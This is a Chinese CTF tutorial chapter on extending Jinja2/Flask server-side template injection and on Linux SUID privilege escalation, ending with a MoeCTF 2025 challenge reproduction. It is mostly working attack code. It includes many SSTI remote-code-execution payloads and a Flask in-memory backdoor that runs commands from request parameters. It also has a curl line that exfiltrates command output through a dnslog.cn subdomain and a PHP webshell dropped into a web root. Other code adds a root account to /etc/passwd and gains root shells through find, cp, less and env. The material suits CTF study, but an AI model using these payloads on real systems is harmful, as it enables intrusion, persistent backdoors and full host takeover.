在 MoeCTF 第 22 章的时候我们遇到了无回显 SSTI,题解给了好几个方法,有一个要用 SUID 提权。

本章我们就来系统化拓展 SSTI,学习无回显 SSTI 的方法和 SUID 提权等

SSTI 的入口点拓展

经过之前的学习,我们了解了许多 SSTI 的入口点,例如

基类对象

() - 空元组

[] - 空列表

{} - 空字典

"" - 空字符串

None - 空对象

这些对象都通过 class+base+subclasses 继承链访问自己的类(或同一父类的类)所访问的全局变量(globals),从而从全局变量字典中取出 builtins 键,builtins 包含危险函数:openevalexecimport

也可以将 builtins 理解成一个找模块的工具,有的有现成的 os 模块或者 eval 内置函数,有的要用 builtins 去查这两个(os 模块和 eval+os 是两个东西)

1
2
{{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']}}
//找到命令执行eval

另外有的类可以直接读取文件,调用这个类后面加路径即可

1
2
{{"".__class__.__bases__[0].__subclasses__()[xx]('/flag').read() }}
//找到文件读取

内置全局变量

config(基础)

我们了解过 config,这属于内置全局变量,它可以直接调用 os 模块而省略基类对象中 builtins 后繁重的调用环节

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
1
['eval']('__import__("os").popen("ls").read()')}} //繁重的调用环节

显然,这两个”globals”作用不同,config 的更为宽泛,其属于从 Flask 的 config 对象的类的初始化函数获取的全局变量,包含的是整个 Flask 应用的全局变量,但有的环境下这些的确用不了

除了 config,还有许多内置全局变量,其对应的 globals 都不尽相同

  • lipsum - Jinja2 内置的 Lorem Ipsum 生成器
  • config - Flask 应用配置对象
  • request - HTTP 请求对象
  • session - 会话对象
  • g - 应用全局对象
  • url_for - URL 生成函数

他们访问全局变量和进行 RCE 的方法小异但大同,这里一一列举一下

lipsum(荐)

自己的 globals 全局变量就能直接访问 os 模块进行 RCE,不需要像 config 这样推

config.__class__.__init__. ...

1
{{lipsum.__globals__['os'].popen('cat /flag').read()}}

request

首先子类方法。可以尝试接 builtins 找模块

1
{{request.__class__.__mro__[1].__subclasses__()[xx]}}

然后直接 builtins 也行,里面也有 eval,直接写 builtins 后面的就行

1
{{request.application.__globals__['__builtins__']}}

调用 os 模块,这里 globals 里面没 os,要用 builtins 来寻找一下

1
request.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()

调用 eval 函数,接这些就行了

1
['eval']('__import__("os").popen("ls").read()')}} //繁重的调用环节

url_for

也是 Moe 里面接触过了的,globals 里面直接有 os 模块,不用 builtins 找

1
{{url_for.__globals__['os'].popen('cat /flag').read()}}

可惜 url_for 用 builtins 找不到 os 模块和 eval 模块,只能用最直接的 os 模块了

g

g 也不能直接访问 globals,要靠这样访问

1
{{g.__class__.__init__.__globals__}}

[‘builtins‘]和 os 有的环境有,有的环境没有,要看实际情况

session

session 访问 globals 的方法是这样,但也要看环境

1
{{session.__globals__['os'].popen('cat /flag').read()}}

总结

这些全局变量有的有 os eval,有的没有;有时有,有时又没有,这里的说明不是绝对的,还需看实际情况自己排列组合,除了 g 和 session,前面四个写出来的代码基本上都是至少在一个环境下成功了的

且有的全局变量根本不存在,可以先访问它的.class.__init__判断

模板上下文对象

模板上下文对象比较陌生,其实都是一样的

self - 模板自身

cycler - 循环工具

joiner - 连接工具

namespace - 命名空间

cycler(荐)

这个是比较推荐,对环境要求很低的,还能省略 class,几种方法都成功过

1
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
1
{{cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
1
{{cycler.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

joiner(荐)

和 cycler 很像,能够不用 builtins 访问 os 模块

1
{{joiner.__init__.__globals__.os.popen('id').read() }}
1
{{joiner.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
1
{{joiner.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

namespace

这些也都是成功过的,有没有 builtins 都能用

1
{{ namespace.__init__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}
1
{{namespace.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
1
{{namespace.__init__.__globals__.os.popen('id').read() }}

self

这个对环境要求就高点了

1
{{self.__class__.__mro__[1].__subclasses__()}}
1
{{ self.__init__.__globals__ }}

试试吧

eval/os 外其他模块

除了常见的 os,还有很多模块可以用于 RCE 或信息收集

这里不看类名,看一看后半部分的利用方式吧

1
2
3
4
5
6
7
8
9
10
11
12
# subprocess - 最强大的命令执行
{{ lipsum.__globals__['__builtins__'].__import__('subprocess').check_output('id', shell=True) }}
{{ lipsum.__globals__['__builtins__'].__import__('subprocess').Popen('id', shell=True).communicate() }}

# commands (Python 2)
{{ lipsum.__globals__['__builtins__'].__import__('commands').getoutput('id') }}

# pty - 伪终端
{{ lipsum.__globals__['__builtins__'].__import__('pty').spawn('/bin/sh') }}

# popen2 (Python 2)
{{ lipsum.__globals__['__builtins__'].__import__('popen2').popen3('id') }}

这里面第二行这个是测试过成功的,其余还是看环境吧

1
2
3
4
5
6
7
8
9
10
11
# pathlib (Python 3.4+)
{{ lipsum.__globals__['__builtins__'].__import__('pathlib').Path('/flag').read_text() }}

# glob - 文件匹配
{{ lipsum.__globals__['__builtins__'].__import__('glob').glob('/fl*') }}

# fnmatch - 文件名匹配
{{ lipsum.__globals__['__builtins__'].__import__('fnmatch').fnmatch('flag', 'fl*') }}

# tempfile - 临时文件操作
{{ lipsum.__globals__['__builtins__'].__import__('tempfile').NamedTemporaryFile() }}

这些是任意文件的匹配,但好像不能读取

无回显 SSTI

反弹 shell/curl 反弹/写文件(需要出网)

用无回显 RCE 的方法,只要有 os 模块就能使用反弹 shell(但好像从来没有做成功过(?))

1
{{lipsum.__globals__['os'].popen('curl `ls`.u7l6l9.dnslog.cn').read()}}

注入内存马(需要 eval 模块)

用这样一个方式吧,注入内存马,用 get 提交 cmd 为命令执行即可

符号比较多,注意 URL 编码

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

也可以这样

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

通过 static/回显

这个只有部分环境支持,用 os/eval 就行,带到./static/out.txt 目录

1
{{lipsum.__globals__['os']['popen']('mkdir static; whoami > ./static/out.txt')}}

就像这样

SUID 提权

SUID 的含义

**SUID (Set owner User ID) **是 Linux 文件的一个特殊权限位。当程序设置了 SUID 位:

普通用户执行这个程序时,会临时获得程序所有者的权限(通常是 root)

就像普通人捡到了经理的门禁卡,可以进经理办公室

1
2
3
4
5
6
# 普通文件权限
-rwxr-xr-x # 没有SUID

# 设置了SUID的文件
-rwsr-xr-x # 注意这里的 's' 替代了 'x'
# 表示:任何用户执行这个文件,都会以root身份运行

SUID 提权的基本步骤/find 提权

先用 find 找到具有 SUID 的程序

1
2
3
4
5
$ find / -perm -4000 2>/dev/null
# find = 查找命令
# / = 从根目录开始找
# -perm -4000 = 找有SUID的程序(4000就是SUID标志)
# 2>/dev/null = 把错误信息扔进黑洞,不显示

像这样,就找到了一些具有 suid 的程序

如果这里面有 find(这里以 find 提权为例)我们可以利用 ls -l 看看 find 具有的权限

1
ls -l /usr/bin/find

我们会发现是 rwsr,说明执行这个程序(执行 find 命令)时具有更高的权限

下一步就是要思考怎么用 find 这一命令去进行任意命令执行

这里我们需要知道 find 命令有个参数叫-exec,可以进行命令执行,像这样

1
2
find /etc/passwd -exec whoami \;//或者find /etc/passwd -exec "whoami" ; 
root

结果就是 root 了,意味着我们使用 cat /flag 等敏感命令的时候不受权限限制

这里只要修改一下参数就行了

1
2
find /etc/passwd -exec cat /fl* \; //任意命令执行
find . -exec /bin/sh \; -quit //获得rootshell

vim 提权

下一个要讲的是 vim 提权,通过信息收集得知它具有 suid 的步骤还是跟 find 提权一样

vim 这个命令通常是用于编辑文件,既然有 suid,那就可以访问/etc/sudoers

可惜 vim 提权通常要像这样多行执行,对 CTF 有点局限

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 用vim打开sudoers文件(控制sudo权限)
$ vim /etc/sudoers

# 2. 添加一行(让自己能用sudo):
www-data ALL=(ALL) ALL
# 解释:允许www-data用户执行任何sudo命令

# 3. 保存退出(输入:wq)

# 4. 现在就可以用sudo了
$ sudo /bin/bash
whoami
root

base64 提权

base64 如果有 suid,可以进行任意文件读取,这很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 场景:你是www-data,不能直接看flag
$ whoami
www-data

$ cat /flag
cat: /flag: Permission denied # 不能看!

# 但base64有SUID,可以读!
$ base64 /flag
ZmxhZ3t5b3VfZ290X3Jvb3R9Cg== # 输出base64编码

# 解码就能看到原文
$ base64 /flag | base64 -d
flag{you_got_root}

当然先写 shell 再由 base64 解码写入一个新的 php 文件,这里的写入放在 base64 后也是被提权过的,正常用户权限无法写入文件

1
2
3
4
5
6
7
8
# 准备webshell内容
$ echo '<?php system($_GET[1]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4K

# 写入web目录(假设/var/www/html可写)
$ echo "PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4K" | base64 -d > /var/www/html/shell.php

# 然后访问:http://target.com/shell.php?1=id

cp 提权

cp 是 copy 的缩写,顾名思义,它的核心功能就是复制文件或目录

1
2
3
4
# 语法:cp 源文件 目标文件
$ cp file1.txt file2.txt
# 把file1.txt复制一份,命名为file2.txt
# 现在你有了两个内容一模一样的文件

拥有 root 权限的 cp,可以将任意文件拷贝至无权限时无法访问的目录或文件

这样的话,我们可以先写文件至有权限访问的目录(前提是有权限写文件),再将其拷贝至敏感,无法访问的文件(例如权限列表等)

具体的实操,前面分析 cp 具有 uid 的步骤还是跟之前一样

1
2
3
4
5
6
# 1. 首先检查cp是否有SUID权限
$ ls -l /bin/cp
-rwsr-xr-x 1 root root /bin/cp
# ↑
# 这个's'是核心!说明任何人执行cp都会以root身份运行
# 如果没有s(显示为-rwxr-xr-x),就不能提权

我们通过 cp 修改/etc/passwd 创建一个具有管理员权限的账户,接着再切换到本账户,就做到了提权

具体命令如下

1
2
3
4
5
# 2. 先备份一份系统passwd文件到/tmp目录
$ cat /etc/passwd > /tmp/passwd
# cat /etc/passwd = 读取系统用户文件
# > /tmp/passwd = 把内容写入/tmp目录(普通用户可写的地方)
# 这样我们就有了一个可以随意修改的副本
1
2
3
4
5
6
7
8
9
10
11
12
# 3. 生成一个带自定义盐值的密码哈希
$ openssl passwd -1 -salt ignite pass123
# openssl passwd = OpenSSL的密码生成工具
# -1 = 使用MD5加密算法
# -salt ignite = 指定盐值为"ignite"(自定义字符串)
# pass123 = 我们要设置的密码
#
# 输出结果:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
# 格式解释:
# $1$ = MD5算法标识
# ignite = 盐值
# 3eTbJm98O9Hz.k1NTdNxe1 = 加密后的密码
1
2
3
4
5
6
7
8
9
10
11
12
13
# 4. 在passwd副本中添加恶意用户
$ echo 'hacker:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /tmp/passwd
# echo '...' = 输出这行文本
# >> /tmp/passwd = 追加到passwd文件末尾(不覆盖原有内容)

# 这行格式详解(用冒号分隔的7个字段):
# hacker = 用户名(随便起)
# :$1$ignite$3eTbJm... = 密码哈希(刚才生成的)
# :0 = 用户ID(UID),0代表root!
# :0 = 组ID(GID),0代表root组!
# :root = 用户描述(随便填)
# :/root = 家目录(root的家目录)
# :/bin/bash = 登录shell
1
2
3
4
5
6
7
8
# 5. 用cp以root身份覆盖系统passwd文件
$ cp /tmp/passwd /etc/passwd
# cp = 复制命令
# /tmp/passwd = 源文件(我们修改过的)
# /etc/passwd = 目标文件(系统的用户文件)
#
# 关键点:因为cp有SUID,它以root身份运行
# 所以可以写入/etc/passwd(普通用户本来没权限)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 6. 切换到新创建的用户
$ su hacker
# su = switch user(切换用户)
# hacker = 我们刚才创建的用户名

Password: pass123
# 输入我们之前设置的密码

# 7. 验证身份
$ id
uid=0(root) gid=0(root) groups=0(root)
# uid=0表示已经是root了!

$ whoami
root

$ cat /flag
flag{you_got_root_via_cp}
# 成功读取flag!

etc/passwd 格式问题

实际上/etc/passwd 的格式是这样的

1
用户名:密码占位符:UID:GID:用户描述:家目录:登录shell

对比一下我们的,可以一一对应

1
'hacker:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash'

当然如果说没有交互界面,也可以试试写 sudoers

1
2
3
4
5
# 一行命令:添加sudo权限
?cmd=echo 'www-data ALL=(ALL) ALL' > /tmp/sudoers && cp /tmp/sudoers /etc/sudoers

# 然后你就可以用sudo了
sudo cat /flag

或者这样就请输入文本了

1
2
3
4
5
6
7
8
# 1. 确认cp有SUID
$ ls -l /bin/cp
-rwsr-xr-x 1 root root /bin/cp # 有s,可以提权!

# 2. 直接用cp复制flag到可读目录
$ cp /flag /tmp/flag.txt
$ cat /tmp/flag.txt
flag{xctf_cp_suid_easy}

cp 提权处理二进制文件拿 shell

这里引用了一下 chrizsty 学长的笔记,感谢

实际操作

首先进入 SUID 部分,我们可以看到它提供了三个漏洞。前两个是文件写入漏洞;然而,第三个漏洞非常有趣,它通过将 SUID 权限从一个二进制文件复制到另一个二进制文件来更改文件。
由于 cp 本身具有 SUID 权限,这意味着我们可以使用 cp 将其自己的 SUID 权限注入到我们想要注入的任何二进制文件中!
此漏洞不仅会将 SUID 权限注入到任何其他二进制文件中,还会注入 cp 上设置的所有权限(包括文件所有权)。
为了利用这一点,我们需要考虑一个想要添加 SUID 权限的二进制文件。
为了轻松地提升权限,第一个想到的二进制文件是 bash

根据最佳实践,如果没有必要,我们不应直接编辑系统二进制文件。相反,我们可以用 cp 将要注入的二进制文件复制到 /tmp 目录,然后注入该副本。

1
cp /bin/bash /tmp

由于 cp 具有 SUID 权限,它将 root 保留为文件所有者,但它确实将我们当前的用户 “user” 指定为组所有者。

这里是因为是我们当前用户使用了 cp 复制文件

所以我们将 cp 的权限注入到我们的 bash 副本中时,我们将看到所有权将从 root:user 变为 root:root。

1
/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash

使用拷贝后的 bash,我们只需发出命令便可以进入 root shell。

1
/tmp/bash -p

合起来就是这样

1
2
3
cp /bin/bash /tmp
/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash
/tmp/bash -p

less/more 提权

如图,less 和 more 是同理可互换的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 当前是普通用户
$ whoami
www-data

# 用less打开任意文件(比如/etc/passwd)
$ less /etc/passwd
# 进入less界面,屏幕显示文件内容,底部有个冒号(:)

# 在less界面中(确保在命令模式),输入:
!/bin/bash
# ! = 执行shell命令的意思
# /bin/bash = 启动bash

# 按回车,屏幕会闪一下
# 你回到了shell,但现在是root了!
$ whoami
root

# 直接读flag
# cat /flag
flag{less_is_more_powerful}
1
2
3
4
$ less /etc/passwd
# 在less中输入:
!cat /flag
# 直接显示flag内容,看完继续看文件

env 提权

如图吧,直接进入 shell

1
/usr/bin/env /bin/sh -p

自定义提权(本章综合训练)

有的题会修改一些命令的底层逻辑,比如 MoeCTF2025 中在篇目前提到的这题,然后又让这条命令存在 SUID 提权。要求你发现修改后的底层逻辑,并正确使用这一高权限命令进行提权。

我们将本题当做本章的综合训练复现

输入49,题目似乎没有回显,但 hint 说明了本题属于 SSTI,故为无回显 SSTI

上文中我们学习了内存马,这里选择打内存马进行 RCE

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

输入 ls,发现命令确实被执行成功了

查看根目录,发现有 flag

但当输入 cat /flag 时,回显了空页面,说明无权限查阅

这里就要思考到 suid 提权了,我们就要用 find 找到具有 suid 的文件

1
find / -perm -4000 2>/dev/null

有这么多,但好像都不是我们的目标

这里之所以叫自定义提权,因为题目修改了 rev 这个命令的逻辑,而且存在未编译文件的泄露

可以查看一下 rev.c,也就是这个命令的源码

很明显发现,这 rev.c 被植入了后门

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {

for(int i = 1; i + 1 < argc; i++) {
if (strcmp("--HDdss", argv[i]) == 0) {
execvp(argv[i + 1], &argv[i + 1]);
}
}

return 0;
}

如果命令后带有–HDdss,则将后续的字符串当命令执行(这有点小 re 的感觉了)

且注意一下 strcmp 函数,他是通过了才返回 0,没通过不返回 0 的,因此==0 写法是对的

因此我们可以用 rev 和–HDdss 执行后门函数

1
rev --HDdss cat /fl*

总结

通过 MoeCTF2025 中遇到的问题,我们学习了新的知识点 SSTI 拓展,尤其是无回显 SSTI 以及 SUID 提权,将一开始

觉得描述的特别复杂的 WP 一步步拆解了,最后成功进行了复现

本章结束 🎆